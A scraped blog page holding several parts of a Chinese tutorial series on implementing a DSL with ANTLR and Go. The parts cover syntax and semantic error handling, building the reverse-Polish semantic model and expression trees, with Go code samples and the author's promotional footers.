https://tonybai.com/2022/05/30/an-example-of-implement-dsl-using-antlr-and-go-part5\n无论是端应用还是云应用，要上生产环境，有一件事必须要做好，那就是错误处理。在本系列前面的文章中，我们设计了文法与语法、建立并验证了语义模型，但我们没有特别关注错误处理。在这一篇中，我们就来补上这个环节。\nDSL设计与实现过程有以下几个主要环节，在不同环节，我们关注的错误处理的主要对象是不同的。如下图所示：\n在文法设计与验证环节，我们更多关注文法设计的正确性。错误的文法会导致解析法示例时失败，但这个环节是在生产Parser代码之前，我们更多是通过ANTLR提供的调试工具对文法的正确性进行调试，无需自己写代码做错误处理。\n在语法解析与建立语法树环节，由于文法问题已经解决，生成的Parser可以解析正确的语法示例了。此时，错误处理主要聚焦在如何处理语法错误上面。\n而在组装语义模型并语义模型执行环节，我们关注的则是用于组装语义模型的元素值的合理性。以windowsRange为例，在语义模型中，它有两个元素low和max，代表的windowsRange为[low, max]。但如果你的源码中low的值大于了max的值，从语法的角度是合法的，是可以通过语法解析的。但在语义层面，这就是不合理的。在组装语义模型与执行环节，我们需要将这类问题找出来，报告错误并进行处理。\n在本文中我们将对后面两个环节的错误处理的思路与方法做简要说明。\n一. 语法解析的错误处理 语法解析这个环节就好比静态语言的编译或动态语言的解析，如果发现语法错误，则提供源码中语法错误的位置和相关辅助信息。ANTLR的Go runtime中提供了ErrorListener接口以及一个DefaultErrorListener的空实现：\n// github.com/antlr/antlr4/runtime/Go/antlr/error_listener.go type ErrorListener interface { SyntaxError(recognizer Recognizer, offendingSymbol interface{}, line, column int, msg string, e RecognitionException) ReportAmbiguity(recognizer Parser, dfa *DFA, startIndex, stopIndex int, exact bool, ambigAlts *BitSet, configs ATNConfigSet) ReportAttemptingFullContext(recognizer Parser, dfa *DFA, startIndex, stopIndex int, conflictingAlts *BitSet, configs ATNConfigSet) ReportContextSensitivity(recognizer Parser, dfa *DFA, startIndex, stopIndex, prediction int, configs ATNConfigSet) } ErrorListener这个接口中的SyntaxError方法正是我们在这个环节需要的，它可以帮助我们捕捉到语法示例解析时的语法错误。\nParser内置了ErrorListener的实现，比如antlr.ConsoleErrorListener。但这个Listener在源码示例的解析过程中啥也不会输出，毫无存在感，我们需要自定义一个可以提示错误语法信息的ErrorListener实现。\n下面是我参考《ANTLR4权威指南》中的Java例子实现的一个Go版本的VerboseErrorListener：\n// tdat/error_listener.go type VerboseErrorListener struct { *antlr.DefaultErrorListener hasError bool } func NewVerboseErrorListener() *VerboseErrorListener { return new(VerboseErrorListener) } func (d *VerboseErrorListener) HasError() bool { return d.hasError } func (d *VerboseErrorListener) SyntaxError(recognizer antlr.Recognizer, offendingSymbol interface{}, line, column int, msg string, e antlr.RecognitionException) { p := recognizer.(antlr.Parser) stack := p.GetRuleInvocationStack(p.GetParserRuleContext()) fmt.Printf(\u0026quot;rule stack: %v \u0026quot;, stack[0]) fmt.Printf(\u0026quot;line %d: %d at %v : %s\\n\u0026quot;, line, column, offendingSymbol, msg) d.hasError = true } Parser在解析源码过程中，在发现语法错误时会回调VerboseErrorListener的SyntaxError方法，SyntaxError传入的各个参数中包含语法错误的详细信息，我们只需向上面这样将这些信息按一定格式组装起来输出即可。\n另外这里给VerboseErrorListener增加了一个hasError布尔字段，用于标识源文件解析过程中是否出现了语法错误，程序可以根据这个错误标识选择后续的执行路径。\n下面是main函数中VerboseErrorListener的用法：\nfunc main() { ... ... lexer := parser.NewTdatLexer(input) stream := antlr.NewCommonTokenStream(lexer, 0) p := parser.NewTdatParser(stream) el := NewVerboseErrorListener() p.RemoveErrorListeners() p.AddErrorListener(el) tree := p.Prog() if el.HasError() { return } ... ... } 从上面代码可以看到，我们在创建TdatParser实例后面，在解析源码(p.Prog())之前，需要先将其默认内置的ErrorListener删除掉，然后加入我们自己的VerboseErrorListener实例。之后main函数根据VerboseErrorListener是否包含监听到语法错误的状态决定是否继续向下执行，如果发现有语法错误，则终止程序运行。\n我们添加一个带有语法错误的语法示例sample5-invalid.t：\n// tdat/samples/sample5-invalid.t r0006: Aach { |1,3| ($speed \u0026lt; 50e) and (($temperature + 1) \u0026lt; 4) or ((roundDown($salinity) \u0026lt;= 600.0) or (roundUp($ph) \u0026gt; 8.0)) } =\u0026gt; (); 让tdat程序解析一下sample5-invalid.t，我们得到下面结果：\n$./tdat samples/sample5-invalid.t input file: samples/sample5-invalid.t rule: enumerableFunc line 2: 7 at [@2,8:11='Aach',\u0026lt;29\u0026gt;,2:7] : mismatched input 'Aach' expecting {'Each', 'None', 'Any'} rule: conditionExpr line 2: 32 at [@13,33:33='e',\u0026lt;29\u0026gt;,2:32] : extraneous input 'e' expecting ')' 我们看到，程序输出了语法问题的详细信息，并停止了继续执行。\n二. 语义模型组装与执行环节的错误处理 和语法解析时相对形式固定的错误处理不同，语义层面的错误形式更加多种多样，分布的位置也比较光，每个解析规则(parse rule)处都可能存在语义问题，就像前面提到的windowsRange的low \u0026gt; high的问题。再比如在传入的数据中找不到result中指明的字段等。\n无论是组装语义模型，还是语义模型的执行，都是树的遍历，遍历函数存在递归，且层次可能很深，这样传统的error作为返回值不太适合。最好的方式是结合panic+recover的方式，当某个环节的语义出现问题时，直接panic，然后在上层通过recover捕捉panic，再以error方式将panic携带的error信息返回。我们就以windowRange的语义问题作为一个例子来看看语义模型组装和执行过程中如何处理错误。\n首先，我们改造一下ReversePolishExprListener的ExitWindowsWithLowAndHighIndex方法，当解析后发现low \u0026gt; high时，抛出panic：\n// tdat/reverse_polish_expr_listener.go func (l *ReversePolishExprListener) ExitWindowsWithLowAndHighIndex(c *parser.WindowsWithLowAndHighIndexContext) { s := c.GetText() s = s[1 : len(s)-1] // remove two '|' t := strings.Split(s, \u0026quot;,\u0026quot;) if t[0] == \u0026quot;\u0026quot; { l.low = 1 } else { l.low, _ = strconv.Atoi(t[0]) } if t[1] == \u0026quot;\u0026quot; { l.high = windowsRangeMax } else { l.high, _ = strconv.Atoi(t[1]) } if l.high \u0026lt; l.low { panic(fmt.Sprintf(\u0026quot;windowsRange: low(%d) \u0026gt; high(%d)\u0026quot;, l.low, l.high)) } } 为了不在main中直接捕获panic，我们将原先的遍历tree的语句：\nantlr.ParseTreeWalkerDefault.Walk(l, tree) 挪到一个新函数extractReversePolishExpr中，我们在extractReversePolishExpr中捕获panic，并以普通error的形式将错误返回给main函数：\n// tdat/main.go func extractReversePolishExpr(listener antlr.ParseTreeListener, t antlr.Tree) (err error) { defer func() { if x := recover(); x != nil { err = fmt.Errorf(\u0026quot;semantic tree assembly error: %v\u0026quot;, x) } }() antlr.ParseTreeWalkerDefault.Walk(listener, t) return nil } 在main函数中，我们像下面这样使用extractReversePolishExpr：\n// tdat/main.go func main() { ... ... l := NewReversePolishExprListener() err = extractReversePolishExpr(l, tree) if err != nil { fmt.Printf(\u0026quot;%s\\n\u0026quot;, err) return } ... ... } 当extractReversePolishExpr返回错误时，意味着提取逆波兰式的过程出现了问题，我们将终止程序运行。\n接下来我们就构造一个语义错误的例子samples/sample6-windowrange-invalid.t来看看上述程序捕捉语义错误的过程：\n// samples/sample6-windowrange-invalid.t r0006: Each { |3,1| ($speed \u0026lt; 50) and (($temperature + 1) \u0026lt; 4) or ((roundDown($salinity) \u0026lt;= 600.0) or (roundUp($ph) \u0026gt; 8.0)) } =\u0026gt; (); 运行一下我们的新程序：\n$./tdat samples/sample6-windowrange-invalid.t input file: samples/sample6-windowrange-invalid.t semantic tree assembly error: windowsRange: low(3) \u0026gt; high(1) 我们看到：程序成功捕捉到了预期的语义错误。\n在后续的语义模型执行过程中，semantic包的Evaluate函数也使用了defer + recover捕捉了可能在表达式树求值过程中可能出现的panic，并通过error形式返回给其调用者。甚至在组装过程中没有被捕捉到的语义问题，一旦引发语义执行错误，同样也会被捕捉到。\n由于原理相同，针对语义模型执行过程的错误处理，这里就不赘述了。\n三. 小结 在本篇文章中，我们补充了设计与实现DSL过程中错误处理，针对语法解析和语义模型组装与执行两个环节给出相应的错误处理方案。\n在《领域特定语言》一书中，Martin Fowler写道：“解析和生成输出是编写编译器中容易的部分，真正的难点在于给出更好的错误信息”。错误处理在基于DSL的处理引擎中占有十分重要的地位，良好的错误处理设计对后续引擎的问题诊断、演进与维护大有裨益。\n本文中涉及的代码可以在这里下载 – https://github.com/bigwhite/experiments/tree/master/antlr/tdat 。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/05/30/an-example-of-implement-dsl-using-antlr-and-go-part5/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/an-example-of-implement-dsl-using-antlr-and-go-part5-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/05/30/an-example-of-implement-dsl-using-antlr-and-go-part5\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/05/30/an-example-of-implement-dsl-using-antlr-and-go-part5\"\u003ehttps://tonybai.com/2022/05/30/an-example-of-implement-dsl-using-antlr-and-go-part5\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e无论是端应用还是云应用，要上生产环境，有一件事必须要做好，那就是\u003cstrong\u003e错误处理\u003c/strong\u003e。在本系列前面的文章中，我们\u003ca href=\"https://tonybai.com/2022/05/24/an-example-of-implement-dsl-using-antlr-and-go-part1\"\u003e设计了文法与语法\u003c/a\u003e、\u003ca href=\"https://tonybai.com/2022/05/27/an-example-of-implement-dsl-using-antlr-and-go-part3\"\u003e建立并验证了语义模型\u003c/a\u003e，但我们没有特别关注错误处理。在这一篇中，我们就来补上这个环节。\u003c/p\u003e\n\u003cp\u003eDSL设计与实现过程有以下几个主要环节，在不同环节，我们关注的错误处理的主要对象是不同的。如下图所示：\u003c/p\u003e","title":"手把手教你使用ANTLR和Go实现一门DSL语言（第五部分）：错误处理"},{"content":"\n本文永久链接 – https://tonybai.com/2022/05/28/an-example-of-implement-dsl-using-antlr-and-go-part4\n在上一篇文章中，我们为DSL建立了完整的语义模型，我们距离DSL的语法示例真正run起来还差最后一步，那就是基于语法树提取信息(逆波兰式)、组装语义模型，在加载语义模型并实例化各个规则处理器(processor)后，我们就可以处理数据了！下面是我们部署在海洋浮标上的指标采集程序的全景图：\n在这一篇中，我们就来按照上图，通过语法树提取逆波兰式并组装语义模型，让我们的语法示例能真正按预期run起来！\n一. 从语法树提取逆波兰式并组装语义模型 通过上面语义模型的讲解，我们知道了语法树与语义模型之间的联系包括逆波兰式、windowsRange、result和enumableFunc。其主要联系是那个逆波兰式，而像windowsRange、result和enumableFunc这些信息都相对容易提取。\n接下来，我们先来看看如何从DSL的语法树构提取到逆波兰式，完成逆波兰式的提取，我们的语义模型组装工作就算完成大半了。好，下面我们就将目光聚焦在DSL语法树上。\n为了聚焦原理的讲解，我们在本篇仅实现支持语法示例文件中包含单rule的语法树的逆波兰式等信息的提取。而语法示例文件中有多个rule的情况就当做思考题留给大家了。\n在本系列第二部分验证文法中，我们知道了ANTLR Listener对DSL语法树的遍历默认都是前序遍历。在这样的遍历过程中，我们要提取variable、literal、一元操作符以及二元操作符，并将它们的运算次序以逆波兰式的形式组织起来。我们采用的提取转换算法如下：\n我们借由两个Stack来完成此次转换，s1用于存储已有序的逆波兰式；s2是一个临时栈，用于临时存放一元和二元操作符； 我们在所有节点的ExitXXX回调中执行提取操作； 当节点为variable或literal时，直接将节点text转换为对应的类型值(比如int、float64或string)后，打包为Value，压入s1栈； 当节点为一元操作符节点时，计算节点深度(level)，与其代表的一个semantic.UnaryOperator一同压入s2栈； 当节点为二元操作符节点时，包括arithmeticOp、comparisionOp以及logicalOp，则用当前节点的深度(level)与s2栈顶元素进行比较，如果比s2栈顶内的节点的深度(level)小，就将s2栈顶的节点弹出，并压入s1栈；循环此步骤，直到s2栈空或当前节点深度大于s2栈顶元素深度，则将该节点打包为semantic.BinaryOperator并压入s2栈； 在顶层conditionExpr节点(parent node为ruleLine)的exit回调中，将s2栈中元素全部弹出并依次压入s1栈；此时s1栈中从栈底到栈顶就是一个逆波兰式。 下面是具体的代码实现，我们建立一个ReversePolishExprListener结构用于从语法树中提取用于构建语义模型的信息：\n// tdat/reverse_polish_expr_listener.go type ReversePolishExprListener struct { *parser.BaseTdatListener ruleID string // for constructing Reverse Polish expression // // infixExpr:($speed\u0026lt;5)and($temperature\u0026lt;2)or(roundDown($sanility)\u0026lt;600) =\u0026gt; // // reversePolishExpr: // $speed,5,\u0026lt;,$temperature,2,\u0026lt;,and,$sanility,roundDown,600,\u0026lt;,or // reversePolishExpr []semantic.Value s1 semantic.Stack[*Item] // temp stack for constructing reversePolishExpr, for final result s2 semantic.Stack[*Item] // temp stack for constructing reversePolishExpr, for operator temporarily // for windowsRange low int high int // for enumerableFunc ef string // for result result []string } 对于variable、literal都是直接压到s1栈中，对于一元操作符，直接压入s2栈中；对于二元操作符，我们以比较操作符(comparisonOp)为例，看看其处理逻辑：\nfunc (l *ReversePolishExprListener) ExitComparisonOp(c *parser.ComparisonOpContext) { l.handleBinOperator(c.BaseParserRuleContext) } func (l *ReversePolishExprListener) handleBinOperator(c *antlr.BaseParserRuleContext) { v := c.GetText() lvl := getLevel(c) for { lastOp := l.s2.Top() if lastOp == nil { l.s2.Push(\u0026amp;Item{ level: lvl, val: \u0026amp;semantic.BinaryOperator{ Val: v, }, }) return } if lvl \u0026gt; lastOp.level { l.s2.Push(\u0026amp;Item{ level: lvl, val: \u0026amp;semantic.BinaryOperator{ Val: v, }, }) return } l.s1.Push(l.s2.Pop()) } } 算术操作符、逻辑操作符等二元操作符都像比较操作符一样，直接调用handleBinOperator。handleBinOperator的逻辑就像我们前面描述的算法步骤那样，先比较s2栈顶的节点的level，如果该节点的深度比s2栈顶内的节点的深度(level)小，就将s2栈顶的节点弹出，并压入s1栈；循环此步骤，直到s2栈空或当前节点深度大于s2栈顶节点深度，则将该节点打包为semantic.BinaryOperator并压入s2栈。\n我们在最顶层的conditionExpr中基于s1栈得到我们期望的逆波兰表达式：\nfunc (l *ReversePolishExprListener) ExitConditionExpr(c *parser.ConditionExprContext) { // get the rule index of parent context if i, ok := c.GetParent().(antlr.RuleContext); ok { if i.GetRuleIndex() != parser.TdatParserRULE_ruleLine { // 非最顶层的conditionExpr节点 return } } // pop all left in the stack for l.s2.Len() != 0 { l.s1.Push(l.s2.Pop()) } // fill in the reversePolishExpr var vs []semantic.Value for l.s1.Len() != 0 { vs = append(vs, l.s1.Pop().val) } for i := len(vs) - 1; i \u0026gt;= 0; i-- { l.reversePolishExpr = append(l.reversePolishExpr, vs[i]) } } 其他诸如result、windowsRange等构建语义模型所需的信息的提取比较简单，大家可以直接参考ReversePolishExprListener相应的方法的源码。\n二. 实例化Processor并运行语法示例 是时候将这门语言的前端(语法树)和后端(语义模型)串起来了！为此，我们定义了一个类型Processor用于组装前端与后端：\ntype Processor struct { name string // for ruleid model *semantic.Model } 同时每个Processor实例对应一个语法rule，如果有多个rule，可以实例化不同的Processor，之后我们就可以使用Processor实例的Exec方法来处理数据了：\nfunc (p *Processor) Exec(in []map[string]interface{}) (map[string]interface{}, error) { return p.model.Exec(in) } 我们看一下main函数：\n// tdat/main.go func main() { println(\u0026quot;input file:\u0026quot;, os.Args[1]) input, err := antlr.NewFileStream(os.Args[1]) if err != nil { panic(err) } lexer := parser.NewTdatLexer(input) stream := antlr.NewCommonTokenStream(lexer, 0) p := parser.NewTdatParser(stream) tree := p.Prog() l := NewReversePolishExprListener() antlr.ParseTreeWalkerDefault.Walk(l, tree) processor := \u0026amp;Processor{ name: l.ruleID, model: semantic.NewModel(l.reversePolishExpr, semantic.NewWindowsRange(l.low, l.high), l.ef, l.result), } // r0006: Each { |1,3| ($speed \u0026lt; 50) and (($temperature + 1) \u0026lt; 4) or ((roundDown($salinity) \u0026lt;= 600.0) or (roundUp($ph) \u0026gt; 8.0)) } =\u0026gt; (); in := []map[string]interface{}{ { \u0026quot;speed\u0026quot;: 30, \u0026quot;temperature\u0026quot;: 6, \u0026quot;salinity\u0026quot;: 500.0, \u0026quot;ph\u0026quot;: 7.0, }, { \u0026quot;speed\u0026quot;: 31, \u0026quot;temperature\u0026quot;: 7, \u0026quot;salinity\u0026quot;: 501.0, \u0026quot;ph\u0026quot;: 7.1, }, { \u0026quot;speed\u0026quot;: 30, \u0026quot;temperature\u0026quot;: 6, \u0026quot;salinity\u0026quot;: 498.0, \u0026quot;ph\u0026quot;: 6.9, }, } out, err := processor.Exec(in) if err != nil { panic(err) } fmt.Printf(\u0026quot;%v\\n\u0026quot;, out) } main函数的步骤大致是：构建语法树(p.Prog)，提取语义模型所需信息(ParseTreeWalkerDefault.Walk)，然后实例化Processor，连接前后端，最后通过processor.Exec处理输入数据in。\n接下来，我们定义samples/sample4.t作为语法示例来测试main：\n// samples/sample4.t r0006: Each { |1,3| ($speed \u0026lt; 50) and (($temperature + 1) \u0026lt; 4) or ((roundDown($salinity) \u0026lt;= 600.0) or (roundUp($ph) \u0026gt; 8.0)) } =\u0026gt; (); 构建并执行main：\n$make $./tdat samples/sample4.t map[ph:7 salinity:500 speed:30 temperature:6] 我们看到，程序输出了我们期望的结果！\n三. 小结 到这里，我们为《后天》里的气象学家构建的DSL语言以及其处理引擎的核心都已经介绍完了。上述代码目前仅能处理一个源文件中仅有一个rule。将处理引擎扩展为可以支持在一个源文件中放置多个rule的任务就留给大家作为“作业”了^_^。\n经过这个系列四篇文章后，相信你已经基本了解了基于ANTLR和Go设计和实现一门DSL语言的方法。现在你可以为你的领域设计你自用或团队自用的DSL了，欢迎大家在文章后面留言交流，我们一起提升设计和实现DSL的水平。\n本文中涉及的代码可以在这里下载 – https://github.com/bigwhite/experiments/tree/master/antlr/tdat 。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/05/28/an-example-of-implement-dsl-using-antlr-and-go-part4/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/an-example-of-implement-dsl-using-antlr-and-go-part4-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/05/28/an-example-of-implement-dsl-using-antlr-and-go-part4\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/05/28/an-example-of-implement-dsl-using-antlr-and-go-part4\"\u003ehttps://tonybai.com/2022/05/28/an-example-of-implement-dsl-using-antlr-and-go-part4\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"https://tonybai.com/2022/05/27/an-example-of-implement-dsl-using-antlr-and-go-part3\"\u003e上一篇文章\u003c/a\u003e中，我们为DSL建立了完整的语义模型，我们距离DSL的语法示例真正run起来还差最后一步，那就是基于语法树提取信息(逆波兰式)、组装语义模型，在加载语义模型并实例化各个规则处理器(processor)后，我们就可以处理数据了！下面是我们部署在海洋浮标上的指标采集程序的全景图：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"/images/wp-content/uploads/an-example-of-implement-dsl-using-antlr-and-go-part4-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e在这一篇中，我们就来按照上图，通过语法树提取逆波兰式并组装语义模型，让我们的语法示例能真正按预期run起来！\u003c/p\u003e\n\u003ch3 id=\"一-从语法树提取逆波兰式并组装语义模型\"\u003e一. 从语法树提取逆波兰式并组装语义模型\u003c/h3\u003e\n\u003cp\u003e通过上面语义模型的讲解，我们知道了语法树与语义模型之间的联系包括逆波兰式、windowsRange、result和enumableFunc。其主要联系是那个逆波兰式，而像windowsRange、result和enumableFunc这些信息都相对容易提取。\u003c/p\u003e","title":"手把手教你使用ANTLR和Go实现一门DSL语言（第四部分）：组装语义模型并测试DSL"},{"content":"\n本文永久链接 – https://tonybai.com/2022/05/27/an-example-of-implement-dsl-using-antlr-and-go-part3\n在前面的系列文章中，我们为气象学家们设计了一门名为Tdat的DSL，使用ANTLR的文法规则编写了Tdat的文法，基于该文法生成了Tdat的语法解析器代码并初步验证了文法的正确性，Tdat可以成功将我们编写的Tdat语法代码样例解析为一颗内存中的树结构。\n此时此刻，我们编写的DSL语法代码还无法按预期工作，因为缺少执行语义。在这篇文章中，我们就来为这门DSL建立语义模型，并单独对这个语义模型进行验证。\n让我们的语法示例能真正按预期run起来！\n一. 什么是语义模型 通过前面的文章，我们了解到：文法只是形式化了DSL的语法结构，即在语法树中是如何表现的，而这一切与语义无关。而所谓语义，就是当用这个语法写的代码执行时，它会做什么！\n相同的语法，即便生成相同的语法树，那么由于对语法树的解释方法不同，语义就会不同。下面是Martin Fowler在其《领域特定语言》一书中的一个例子：\n我们看到对同一语法写成的代码：5+3，如果语义模型不同，那么执行结果就不会相同：如果按加法语义解释语法树，我们得到的代码执行结果为8；如果按连接语义解释语法树，我们得到的代码执行结果为53。\n那么语义模型究竟表现为何种形式呢？通常来说语义模型也是内存中的一个或一些特定的数据结构，这个数据结构存在的目的就是表述语义，对语句的执行逻辑进行制导。\n比如：《使用ANTLR和Go实现DSL入门》一文中的那个csv2map例子，其语义模型就存储在CSVMapListener这个结构体中的一个map结构(见下面的cm字段)和切片结构(见下面的headers)中了：\n// github.com/bigwhite/experiments/tree/master/antlr/csv2map/csv_listener.go type CSVMapListener struct { *parser.BaseCSVListener headers []string cm []map[string]string fields []string // a slice of fields in current row } csv2map通过遍历生成的语法树提取信息填充构造了cm和headers这两个字段，后续的代码执行都是基于这两个字段中存储的信息。\n到这里有童鞋可能会问：是不是对所有DSL都要单独提取和组装一个语义模型出来呢？至少Martin Fowler建议这么做，这样做的最大好处就是将语法解析与语义执行这两个阶段解耦，然后语义模型可以单独拿出来测试与验证，无需依赖语法解析过程。\n我个人觉得对于稍大一些的non-trivial的DSL来说，将语义模型分离出来还是很必要的，否则语义执行与语法解析的耦合会让DSL的实现难于理解、难于维护，同样也难于测试验证。\n对于一些简单的DSL来说，其语法树自身就可以看作是一个语义模型，在这样的情况下，语法树的遍历过程将伴随着语句语义的执行，下面就是一个典型的以语法树为语义执行模型的例子(改编自这篇文章中的例子)，例子文法如下：\n// Calc.g4 grammar Calc; // Rules start : expression EOF; expression : expression op=('*'|'/') expression # MulDiv | expression op=('+'|'-') expression # AddSub | NUMBER # Number ; // Tokens MUL: '*'; DIV: '/'; ADD: '+'; SUB: '-'; NUMBER: [0-9]+; WHITESPACE: [ \\r\\n\\t]+ -\u0026gt; skip; 基于该文法生成Parser代码后，我们实现一个语法树的Listener：\n// calc/calc_listener_impl.go type calcListener struct { *parser.BaseCalcListener stack []int } ... ... func (l *calcListener) ExitMulDiv(c *parser.MulDivContext) { right, left := l.pop(), l.pop() switch c.GetOp().GetTokenType() { case parser.CalcParserMUL: l.push(left * right) case parser.CalcParserDIV: l.push(left / right) default: panic(fmt.Sprintf(\u0026quot;unexpected op: %s\u0026quot;, c.GetOp().GetText())) } } func (l *calcListener) ExitAddSub(c *parser.AddSubContext) { right, left := l.pop(), l.pop() switch c.GetOp().GetTokenType() { case parser.CalcParserADD: l.push(left + right) case parser.CalcParserSUB: l.push(left - right) default: panic(fmt.Sprintf(\u0026quot;unexpected op: %s\u0026quot;, c.GetOp().GetText())) } } func (l *calcListener) ExitNumber(c *parser.NumberContext) { i, err := strconv.Atoi(c.GetText()) if err != nil { panic(err.Error()) } l.push(i) } 这段代码直接将Parser建立的语法树当成了二叉表达式树(binary expression tree，叶子节点是操作数，其他节点为操作符)了，然后通过表达式树求值算法(借由一个stack)实现代码的求值语义，看下面驱动求值的main函数代码：\n// calc/main.go // calc takes a string expression and returns the evaluated result. func calc(input string) int { // Setup the input is := antlr.NewInputStream(input) // Create the Lexer lexer := parser.NewCalcLexer(is) stream := antlr.NewCommonTokenStream(lexer, antlr.TokenDefaultChannel) // Create the Parser p := parser.NewCalcParser(stream) // Finally parse the expression (by walking the tree) var listener calcListener antlr.ParseTreeWalkerDefault.Walk(\u0026amp;listener, p.Start()) return listener.pop() } func main() { println(calc(\u0026quot;1 + 2 * 3\u0026quot;)) // 7 println(calc(\u0026quot;12 * 3 / 6\u0026quot;)) // 6 } 通过上述代码，我们可以很清晰地看到这个例子直接将源码解析后建立的语法树作为语义模型了，这就让语义模型与解析后的语法树的结构产生了紧耦合，一旦语法变更，语法树结构发生变化，就会直接影响语义模型的执行，语义模型的实现也要随之变更。\n针对我们自己的tdat DSL，我们将采用语义模型与语法树分离的方式。下面我们就来看看tdat的语义模型。\n二. 语义模型之表达式树 在本系列的第一篇文章中，我们介绍了Tdat这门DSL的语义特性，我们的语义模型就是要实现这些语义特性。我们回顾一下tdat文法中的核心产生式规则ruleLine：\nruleLine : ruleID ':' enumerableFunc '{' windowsRange conditionExpr '}' '=\u0026gt;' result ';' ; 在这个产生式规则中，影响语义计算的主要规则包括：conditionExpr、windowRange、enumableFunc和result上，而最复杂的又在conditionExpr这个规则上。这个规则本质上就是一组一元、算术、比较和逻辑表达式的混合计算，\n那么，我们能否像上面calc那个例子那样将语法树直接用作语义模型呢？实现层面上是可以的。我们以下面这个复杂一些的conditionExpr表达式为例：\n(($speed \u0026lt; 5) and (($temperature + 1) \u0026lt; 10)) or ((roundDown($speed) \u0026lt;= 10.0) and (roundUp($salinity) \u0026gt;= 500.0)) 我们来对比一下直接将语法树作为语义模型与使用表达式树结构作为语义模型的差别：\n通过上图，我们看到，语法树是为了解析语法而构建的，并非为表达式树计算而构建，如果我们直接基于语法树去做语义计算，一来要多遍历一些无关的符号节点（非红圈里的节点），有额外开销，影响性能；二来这里的tdat使用的conditionExpr并非标准二叉表达式树，我们需要自己设计表达式求值的算法；最后就是Martin Fowler提到的语法解析与语义模型耦合在一起的弊端了。在语义模型不变的情况下，一旦语法结构发生变更，影响的不仅仅是语法树的结构，语义模型的求值行为也要一并改动。\n因此这里我们直接将语义模型与语法树分离，我们采用上图中下方的二叉表达式树作为主要语义模型。这样我们就可以单独建立实现和测试该语义模型了。\n像上图下方那样的一个典型的二叉表达式树可由一个逆波兰表达式(Reverse Polish notation)构建而成，构建算法可以参考《数据结构与算法分析：C语言描述（原书第2版》的4.2.2小节。\n下面我就来简单说说这个表达式树的构建与求值实现。\n我们先来建立一个二叉Tree数据结构：\n// tdat/semantic/semantic.go // semantic tree type Tree interface { GetParent() Tree SetParent(Tree) GetValue() Value SetLeftChild(Tree) Tree GetLeftChild() Tree SetRightChild(Tree) Tree GetRightChild() Tree } type Value interface { Type() string Value() interface{} } // Node is an implementation of Tree // and each node can be seen as a tree type Node struct { V Value l *Node // left node r *Node // right node p *Node // parent node } 我们建立了一个二叉树的接口类型，并提供了用于实现该接口类型的结构体类型Node。每个Node是Tree中的一个节点，它自身也可以被看成是一个Tree。树中每个Node都有一个Value，Value也是一个接口类型，它共有四种实现：\nBinaryOperator 二元运算符，包括：二元算术运算符(+、-、*、/、%等)、关系运算符(\u0026gt;、\u0026lt;、\u0026gt;=、\u0026lt;=、==等)和二元逻辑运算符(and与or)。\nUnaryOperator 一元运算符/内置函数，包括：roundUp、roundDown、abs等，可扩展。\nVariable 用于表示数据指标，比如：speed、temperature等。\nLiteral 